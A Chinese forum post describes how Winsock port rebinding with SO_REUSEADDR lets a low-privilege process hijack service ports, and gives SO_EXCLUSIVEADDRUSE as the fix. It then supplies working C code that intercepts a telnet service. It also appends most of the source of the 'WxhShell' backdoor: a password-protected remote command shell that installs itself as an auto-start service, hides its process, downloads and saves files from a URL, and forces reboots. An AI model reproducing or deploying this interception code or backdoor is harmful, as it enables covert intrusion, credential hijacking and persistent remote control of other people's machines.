社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12149阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~iwEhF   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 87<y_P@{  
zZ32K@  
  saddr.sin_family = AF_INET; oN `tZ;a  
#mkr]K8A4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m qw!C  
n"FOCcTIs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g+k6pi*  
f6|3| +  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3:Z(tM&-O  
m]"YR_  
  这意味着什么?意味着可以进行如下的攻击: C4 Wdt  
?sS'T7r v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -S,dG|  
]LSa(7>EU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 29qQ3M?  
[tD*\\IA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iBo-ANnK9  
Uw&+zJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o~4n8  
!zJ.rYZ=g`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c(Ha"tBJ  
rM=Hd/ki5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oC7#6W:@w  
_ZS<zQ'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t9`NCng 5  
dhVwS$O )  
  #include iMA)(ZS  
  #include \ 3LD^[qi  
  #include CIaabn  
  #include    #[[p/nAy}A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hYWWvJ)S  
  int main() $1dI  
  { ;XtDz  
  WORD wVersionRequested; F_r eBPx  
  DWORD ret; ~o2{Wn["  
  WSADATA wsaData; D$mrnm4d  
  BOOL val; { a_L /"7  
  SOCKADDR_IN saddr; A&M/W'$s  
  SOCKADDR_IN scaddr; =[jBOx&  
  int err; ` q@~78`  
  SOCKET s; ]_pL79y  
  SOCKET sc; /Z@.;M  
  int caddsize; )xK!i.  
  HANDLE mt; 5Y&@ :Y  
  DWORD tid;   ^7''x,I  
  wVersionRequested = MAKEWORD( 2, 2 ); r9t{/})A  
  err = WSAStartup( wVersionRequested, &wsaData ); _0f[.vN  
  if ( err != 0 ) { C`#N Q*O  
  printf("error!WSAStartup failed!\n"); "Jwz.,Y\  
  return -1; \bsm#vY,  
  } LPNv4lT[u  
  saddr.sin_family = AF_INET; LtU+w*Gj  
   6\Z^L1973  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <'B^z0I,  
jCl[!L5/1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s6]f#s5o  
  saddr.sin_port = htons(23); A^Zs?<C-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &p%ctg  
  { +O H."4Z  
  printf("error!socket failed!\n"); WE"'3u^k  
  return -1; > @%!r  
  } x('yBf  
  val = TRUE; `^}9= Q'r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tp]|/cx4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =@z"k'Vl`  
  { eo80L  
  printf("error!setsockopt failed!\n"); a&[nVu+  
  return -1; BY d3rI  
  } onlyvH4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /PCQv_Y&,/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yh)q96m-V=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B dKwWgi+a  
**"P A8   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k$2Y)  
  { 6GN'rVr!Z  
  ret=GetLastError(); xle29:?l  
  printf("error!bind failed!\n"); ] QEw\4M?=  
  return -1; F)IP~BE-k  
  } =3:ltI.'*I  
  listen(s,2); A^7!+1*K+  
  while(1) 6{~I7!m"  
  { d]^i1  
  caddsize = sizeof(scaddr); DIRCP=5  
  //接受连接请求 S=2,jPX2r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EGt)tI&  
  if(sc!=INVALID_SOCKET) ex1ecPpN  
  { LQjqwsuN{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x9e 9$ww}  
  if(mt==NULL) vKC>t95  
  { d0^2<  
  printf("Thread Creat Failed!\n"); +x2xQ8#|~~  
  break; Txh;r.1e  
  } jZ;T&s  
  } 3:( `#YY  
  CloseHandle(mt); rij[ZrJ  
  } zyr6Tv61U  
  closesocket(s); $3ILVT  
  WSACleanup(); 4HJrR^  
  return 0; m+=!Z|K  
  }   S`G\Cd;5  
  DWORD WINAPI ClientThread(LPVOID lpParam) xpk|?/6  
  { {;zPW!G  
  SOCKET ss = (SOCKET)lpParam; h]#)41y<  
  SOCKET sc; vn<S"  
  unsigned char buf[4096]; {V8Pn2mlo  
  SOCKADDR_IN saddr;  #L)rz u  
  long num; UQ)}i7v  
  DWORD val; hA8 zXk/'8  
  DWORD ret; SD&[K 8-i2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f- <6T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2YyZiOMSc  
  saddr.sin_family = AF_INET; d#\n)eGr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :9b RuUm  
  saddr.sin_port = htons(23); >g&`g}xZQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +*V; f,  
  { X3[!xMij  
  printf("error!socket failed!\n"); :dzU]pk%0  
  return -1; :m\KQ1sq  
  } u_B SWhiW  
  val = 100; hqPn~Tq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W<Lrfo&=Y]  
  { g$b*#  
  ret = GetLastError(); UVK"%kW#(  
  return -1; pA'A<|)K0  
  } v(iUo&Ge  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sfa'\6=O  
  { qpl5n'qHUc  
  ret = GetLastError(); 3_$eQ`AAA  
  return -1; Ub,unU  
  } U\ued=H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F 4/Uu"J:  
  { 8;8}Oq  
  printf("error!socket connect failed!\n"); d3GK.8y_z  
  closesocket(sc); ja/[PHq"  
  closesocket(ss); ?=kswf  
  return -1; ,k!a3"4+TJ  
  } fR%8?6  
  while(1) u $#7W>R  
  { 1RA$hW@}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WIm7p1U#V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +QX>:z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I8?[@kg5b'  
  num = recv(ss,buf,4096,0); @nu/0+8h{  
  if(num>0) TXcKuo=  
  send(sc,buf,num,0); YkX=n{^  
  else if(num==0) zwtsw[.  
  break; p/h&_^EXU  
  num = recv(sc,buf,4096,0); ~-d.3A $u  
  if(num>0) i1\2lh$  
  send(ss,buf,num,0); BvF_9  
  else if(num==0) rLxX^[Fp3  
  break; _GqE'VX  
  } M-N2>i#  
  closesocket(ss); ozLJ#eOE9  
  closesocket(sc); gQWX<  
  return 0 ; 2r,'4%G  
  } Gq/6{eRo\  
lIg2iun[n  
Tm52=+uf$  
========================================================== Q=E@i9c9  
\aIy68rH,  
下边附上一个代码,,WXhSHELL %%6 ('wi  
Wg^cj:&`u  
========================================================== )/"7$2Aoy  
&F_rg,q&_  
#include "stdafx.h" 31& .Lnq  
u9w&q^0dqG  
#include <stdio.h> _eV n#!|  
#include <string.h> 'qAfei']  
#include <windows.h> 1i:g /H  
#include <winsock2.h> t [hocl/6  
#include <winsvc.h> on?/tHys  
#include <urlmon.h> 9 w1ONw8v  
?bAFYF0!I  
#pragma comment (lib, "Ws2_32.lib") A@(h!Cq  
#pragma comment (lib, "urlmon.lib") T+RI8.#o  
tr8Cx~<  
#define MAX_USER   100 // 最大客户端连接数 + f!,K  
#define BUF_SOCK   200 // sock buffer F|TMpH/  
#define KEY_BUFF   255 // 输入 buffer k&iDJt  
MdZgS#`  
#define REBOOT     0   // 重启 :)95 b fa.  
#define SHUTDOWN   1   // 关机 mwH!:f  
x9l0UD*+g  
#define DEF_PORT   5000 // 监听端口 PMs_K"-K  
j#t8Krd] "  
#define REG_LEN     16   // 注册表键长度 ^G&D4uZ  
#define SVC_LEN     80   // NT服务名长度 ?K {1S  
8Ql'(5|T  
// 从dll定义API bs EpET  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e8mbEC(AK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^!o}>ls['  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6L9[U^`@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d`uO7jlm  
$'YKB8C  
// wxhshell配置信息 Tw;qY  
struct WSCFG { WwtE=od  
  int ws_port;         // 监听端口 D"4&9"CU  
  char ws_passstr[REG_LEN]; // 口令 V9u\;5oL  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9zYiG3 d  
  char ws_regname[REG_LEN]; // 注册表键名 c[_^bs>k  
  char ws_svcname[REG_LEN]; // 服务名 T% 13 '  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -MU.Hu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LG{inhbp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7'i#!5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6\fMzm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RS `9?c:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U q w}4C/0  
5}bZs` C  
}; D%UZ'bHN*  
q|i%)V`)-  
// default Wxhshell configuration exO#>th1  
struct WSCFG wscfg={DEF_PORT, [ []SkLZHg  
    "xuhuanlingzhe", zX [ r  
    1, Y%:0|utQC  
    "Wxhshell", 5b1uD>,;y  
    "Wxhshell", rjHIQC C  
            "WxhShell Service", uk[< 6oxz  
    "Wrsky Windows CmdShell Service", $KWYe{#  
    "Please Input Your Password: ", kgapTv>q  
  1, z<%g #bo  
  "http://www.wrsky.com/wxhshell.exe", w&yGYHg  
  "Wxhshell.exe" "lz[zFnO  
    }; cPsn]U  
'&:1?i)  
// 消息定义模块 {XD/8m(hN|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2FIR]@MQd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FaE#\Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DwmU fZp  
char *msg_ws_ext="\n\rExit."; w zqd g  
char *msg_ws_end="\n\rQuit."; 3 t88AN=4  
char *msg_ws_boot="\n\rReboot..."; 51G=RYay9  
char *msg_ws_poff="\n\rShutdown..."; c|}K_~l_  
char *msg_ws_down="\n\rSave to "; #3K,V8(  
[AZ aT  
char *msg_ws_err="\n\rErr!"; R G0S  
char *msg_ws_ok="\n\rOK!"; Afy .3T @)  
n5+S"  
char ExeFile[MAX_PATH]; (y~laW!  
int nUser = 0; @>fO;*  
HANDLE handles[MAX_USER]; sCtw30BL  
int OsIsNt; 7e c0Xh1  
.3&a{IxM]  
SERVICE_STATUS       serviceStatus; o4 %Vt} K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  /MqXwUbO  
z{pC7e5  
// 函数声明 A ,-V$[;~D  
int Install(void); Yi&-m}  
int Uninstall(void); m io1kDq<  
int DownloadFile(char *sURL, SOCKET wsh); =^Sw*[eiy  
int Boot(int flag); 2Za ,4'  
void HideProc(void); w;c#drY7S  
int GetOsVer(void); E {KS a  
int Wxhshell(SOCKET wsl); 'ZC}9=_g  
void TalkWithClient(void *cs); B3 dA%\'  
int CmdShell(SOCKET sock); /MKNv'5&!%  
int StartFromService(void); 0SMQDs5j  
int StartWxhshell(LPSTR lpCmdLine); w3=)S\  
nx-1*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O~h94 B`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xY2}Wr j,  
Ni!;-,H+E  
// 数据结构和表定义 %l:|2s:  
SERVICE_TABLE_ENTRY DispatchTable[] = M U?{?5  
{ 97Zk P=Cq  
{wscfg.ws_svcname, NTServiceMain}, n</k/Mk}  
{NULL, NULL} p,w|=@=  
}; Zj1ZU[BEcL  
t{Hh&HX  
// 自我安装 9^PRX  
int Install(void) 22GnbA7O  
{ 4`8IFK  
  char svExeFile[MAX_PATH]; ', sQ/#S  
  HKEY key; xvR?~  
  strcpy(svExeFile,ExeFile); z1f^p7$M?  
|^Ew<  
// 如果是win9x系统,修改注册表设为自启动 my ;  
if(!OsIsNt) { ik2- OM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &[5n0e[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ADYx.8M|9i  
  RegCloseKey(key); 4= Tpi`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .pM &jni Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z 7s;F}=  
  RegCloseKey(key); 3@^>#U   
  return 0; (Qk&g"I  
    } [,O`MU  
  } Fn86E dFM  
} d7"U WY^  
else { bQwdgc),s{  
{sC@N![  
// 如果是NT以上系统,安装为系统服务 T-9k<,>?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |N:MZ#};  
if (schSCManager!=0) YH[XRUa  
{ H>?:U]  
  SC_HANDLE schService = CreateService J>=1dCK  
  ( k42b:W5%  
  schSCManager, 908ayfVI  
  wscfg.ws_svcname, e'1 ^+*bU  
  wscfg.ws_svcdisp,  Y*@|My`  
  SERVICE_ALL_ACCESS, 5v|H<wPp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , })20Zld}a  
  SERVICE_AUTO_START,  3L%WVCB  
  SERVICE_ERROR_NORMAL, iV?` i  
  svExeFile, J`w]}GlH  
  NULL, <ROpuY\!l  
  NULL, hZAG (Z  
  NULL, Ia=_78MgZ  
  NULL, <S]KaDu^  
  NULL umQi  
  ); HEBqv+bG  
  if (schService!=0) Z)mX,=p  
  { M#OH Y *  
  CloseServiceHandle(schService); /Q?~Q0{)es  
  CloseServiceHandle(schSCManager); dgS4w@)@V;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M^z=1YrMd  
  strcat(svExeFile,wscfg.ws_svcname); i?F[||O"$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 96c"I;\GXX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ njx7d  
  RegCloseKey(key); br0u@G  
  return 0; p?Ed- S  
    } \n#]%X5c  
  } Hqvc7-c6  
  CloseServiceHandle(schSCManager); >b>M Km>q  
} pT4qPta,2  
} Ptx,2e&Hq  
[%)@|^hw91  
return 1; E{uf\Fc   
} !w q4EV  
42fprt  
// 自我卸载 Q[M (Wqg  
int Uninstall(void) (lb6]MtTHY  
{ '!!e+\h#  
  HKEY key; Sv7 i! j  
Mx8Gu^FW.d  
if(!OsIsNt) { @ ]f3| >I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u7HvdLql  
  RegDeleteValue(key,wscfg.ws_regname); %yiD~&  
  RegCloseKey(key); h$70H^r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9b1?W?"  
  RegDeleteValue(key,wscfg.ws_regname); Bi e?M  
  RegCloseKey(key); ##H;Yb  
  return 0; Y}ng_c  
  } e RA7i  
} - yoAxPDW  
} [|4}~UV  
else { N31?9GE  
bFg*l$`5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q xfLfgu^  
if (schSCManager!=0) 8O6_iGTBh  
{ 4otl_l(`yv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A t{U~^  
  if (schService!=0) :q^R `8;(t  
  { ;{k=C2  
  if(DeleteService(schService)!=0) { P+h6!=nD7  
  CloseServiceHandle(schService); ^|#>zCt^  
  CloseServiceHandle(schSCManager); :c y >c2  
  return 0; Q!yb16J  
  } XYe~G@Q Z  
  CloseServiceHandle(schService); ,yICNtP  
  } RlrZxmPV>O  
  CloseServiceHandle(schSCManager); id^|\hDR  
} 6 }!Z"  
} v dU%R\  
a9=>r  
return 1; 8lwFAiC8  
} h3kaD  
CM9XPr  
// 从指定url下载文件 |QVr `tE<  
int DownloadFile(char *sURL, SOCKET wsh) QBoFpxh=  
{ ;o[rQ6+  
  HRESULT hr; 1 tPVP  
char seps[]= "/"; 87i"   
char *token; o~#f1$|Xn  
char *file; 0x@A~!MoP  
char myURL[MAX_PATH]; p* RC  
char myFILE[MAX_PATH]; y;nvR6)  
r| f-_D  
strcpy(myURL,sURL); H?tUCbw  
  token=strtok(myURL,seps); oV9z(!X/  
  while(token!=NULL) 03EV%Vc  
  { |jT2W  
    file=token; x? N.WABr;  
  token=strtok(NULL,seps); C/G]v*MBQ  
  } aG(hs J)  
w9f _b3  
GetCurrentDirectory(MAX_PATH,myFILE); hGI+:Js6  
strcat(myFILE, "\\"); yHNuU)Ft  
strcat(myFILE, file); 7X}TB\N1  
  send(wsh,myFILE,strlen(myFILE),0); BX[~% iE  
send(wsh,"...",3,0); edijfhn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J!hFN]M<<  
  if(hr==S_OK) TQf L%JT  
return 0; BC! 6O/kr  
else U]hF   
return 1; hv>KX  
ZjD)? 4  
} )JhT1j Qc  
q8>t!rh<R  
// 系统电源模块 @TzvT3\q  
int Boot(int flag) (wuaxo:  
{ *0y{ ~@  
  HANDLE hToken; byGn,m  
  TOKEN_PRIVILEGES tkp; qsI^oBD"  
QXVC\@  
  if(OsIsNt) { nBz`q+V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +j{Y,t{4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eY,O@'"8`  
    tkp.PrivilegeCount = 1; |0sPka/u16  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #G#g|x*V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R,t$"bOd  
if(flag==REBOOT) { S2K#[mDG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A&zS'toU  
  return 0; sI,W%I':d  
} c~imE%  
else { ,%[4j9#!_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "R[l ZJ@  
  return 0; raE Mm  
} 19c@`?  
  } 2&he($HIzg  
  else { c2 Aps  
if(flag==REBOOT) { ^m!_ 2_q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1J{fXh  
  return 0; <T+!V-Pj*  
} &!L:"]=+  
else { P4k;O?y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /_t|Dry015  
  return 0; $*f?&U]k  
} pKT2^Q}-h  
} ]Gv!M?:  
; s|w{.<:  
return 1; eC! #CK  
} -*B`]  
m$wlflt  
// win9x进程隐藏模块 ]~0}=,H$N  
void HideProc(void) 5~'IKcW<  
{ !eI2 r   
]< XR]FHx)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v^N`IJq  
  if ( hKernel != NULL ) ~"K ,7sw!Y  
  { O o8qyW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "m$3)7 $  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y(W|eBe  
    FreeLibrary(hKernel); ZU{4lhe  
  } 9GU]l7C=z  
e6E?t[hEeS  
return; R>/ NE!q  
} xY<{qHcX  
Vh|\_~9  
// 获取操作系统版本 A+getdr  
int GetOsVer(void) 2;2}wM[  
{ -e*ZCwQ  
  OSVERSIONINFO winfo; 2% B'3>a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -WJ?:?'  
  GetVersionEx(&winfo); F$V/K&&W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !do?~$Og  
  return 1; +B}0=Ex$t  
  else \ZI'|Ad  
  return 0;  _; Y`  
} U_B(( Z(g  
%NHkDa!  
// 客户端句柄模块 *L4`$@l8  
int Wxhshell(SOCKET wsl) 0Ua%DyJ  
{ #V,R >0"  
  SOCKET wsh; c;2#,m^  
  struct sockaddr_in client; KNLnn;l  
  DWORD myID; !C4!LZ0A  
R?o$Y6}5  
  while(nUser<MAX_USER) 5=|hC3h  
{ r!PpUwod  
  int nSize=sizeof(client); v\tEVhm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iB[~U3  
  if(wsh==INVALID_SOCKET) return 1; G fEX>  
'Ft0Ry<OL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vw,rF`LjZ  
if(handles[nUser]==0) p Z: F:  
  closesocket(wsh); TS2ZF{m  
else Uu 8,@W+  
  nUser++; #Lv2Zoi>G  
  } 6 Orum/|h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "ZM4F?x  
-i yyn ^|  
  return 0; ngohtB^]  
} 2;a(8^n  
jRSUp E8  
// 关闭 socket }|u4 W?H  
void CloseIt(SOCKET wsh) ,EGQ@:3/  
{ KGH/^!u+R  
closesocket(wsh); y){ k3lm0  
nUser--; 1 i[\T  
ExitThread(0); {8)zg<rL+M  
} npJt3 Y_I  
li~d?>  
// 客户端请求句柄 I M-L'9  
void TalkWithClient(void *cs) (3J$>Na  
{ Szbb_i{_ `  
}J">}j]/  
  SOCKET wsh=(SOCKET)cs; TJ q~)Bm  
  char pwd[SVC_LEN]; m< _S_c  
  char cmd[KEY_BUFF]; 3 @ak<9&  
char chr[1]; F *FwRj  
int i,j; 3RLFp\i"s  
%LVm3e9  
  while (nUser < MAX_USER) { [W %$qZlP  
)E@A0W  
if(wscfg.ws_passstr) { @=}YTtq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r\qj!   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W`\R%>$H  
  //ZeroMemory(pwd,KEY_BUFF); 35E_W>n  
      i=0; :8CvRO*<  
  while(i<SVC_LEN) { 1$M@]7e+!+  
wr[,  
  // 设置超时 At7>V-f}  
  fd_set FdRead; &l3iV88  
  struct timeval TimeOut; Oo"^%F~%  
  FD_ZERO(&FdRead); Tb3J9q+ya  
  FD_SET(wsh,&FdRead); O+y-}7YX  
  TimeOut.tv_sec=8; Vn*tp bz  
  TimeOut.tv_usec=0; > ;/l)qk,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 28 8XF9B^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /"eey(X  
Jn{OWw2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .C8PitS  
  pwd=chr[0]; f7m%|v!  
  if(chr[0]==0xd || chr[0]==0xa) { B!vmQR*1  
  pwd=0;  IiY/(N+J  
  break; dZi"$ g  
  } 0T Q$C-%  
  i++; (h >-&.`&  
    } cSXwYZDx?  
q Y#n'&  
  // 如果是非法用户,关闭 socket ?>I;34tL(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tmQH|'>>  
} 8 7D*-Gw  
/YZr~|65  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xuqv6b.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a)wJT`xu  
 ,%uo6%  
while(1) { eeyHy"@  
|&RU/a  
  ZeroMemory(cmd,KEY_BUFF); Ney/[3 A  
8C*c{(4  
      // 自动支持客户端 telnet标准   3AU;>D^5  
  j=0; Kx>qz.wwI?  
  while(j<KEY_BUFF) { Pi]19boM.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xai*CY@cQ  
  cmd[j]=chr[0]; _f$^%?^  
  if(chr[0]==0xa || chr[0]==0xd) { a!=D[Gz*5  
  cmd[j]=0; BO;6 u^[  
  break; \ExMk<y_&  
  } r"P|dlV-  
  j++; KET2Ws[w  
    } r>o63Q:  
D)L+7N0D~  
  // 下载文件 [ucpd  
  if(strstr(cmd,"http://")) { '.:z&gSqx0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6}d.5^7lr  
  if(DownloadFile(cmd,wsh)) o,_? ^'@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E*]bgD7V  
  else a{L d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xu%'Z".>:  
  } uG,5BV.M  
  else { >m$1Xx4#GV  
jPUwSIP  
    switch(cmd[0]) { |5lk9<z  
  be.*#[  
  // 帮助 E=nIRG|g  
  case '?': { s.$3j$vT 8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sS*3=Yh  
    break; E7rDa1  
  } 4 o Fel.o  
  // 安装 h&KO<>  
  case 'i': { j0oR) du  
    if(Install()) _h{C_;a[_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sB7# ~p A  
    else Zy`m!]G]80  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h1de[q)  
    break; 16 =sij%A  
    } Sc;BCl{=|  
  // 卸载 4K\G16'$v  
  case 'r': { 8Vr%n2M  
    if(Uninstall()) o~`/_ +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nLXlU*ES  
    else \NPmym_ 6J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `sn^ysp  
    break; 4h|c<-`>t  
    } pR=@S>!|  
  // 显示 wxhshell 所在路径 Z?h~{Mg  
  case 'p': { R!}H;[c  
    char svExeFile[MAX_PATH]; 6^]+[q}3  
    strcpy(svExeFile,"\n\r"); !|^|,"A)  
      strcat(svExeFile,ExeFile); b3=rG(0f  
        send(wsh,svExeFile,strlen(svExeFile),0); 8A##\j )  
    break; vS;RJg=  
    } %)1y AdG 8  
  // 重启 CsGx@\jN  
  case 'b': { >;e~WF>+K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kp%2k^U  
    if(Boot(REBOOT)) C5o#i*|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >qnko9V  
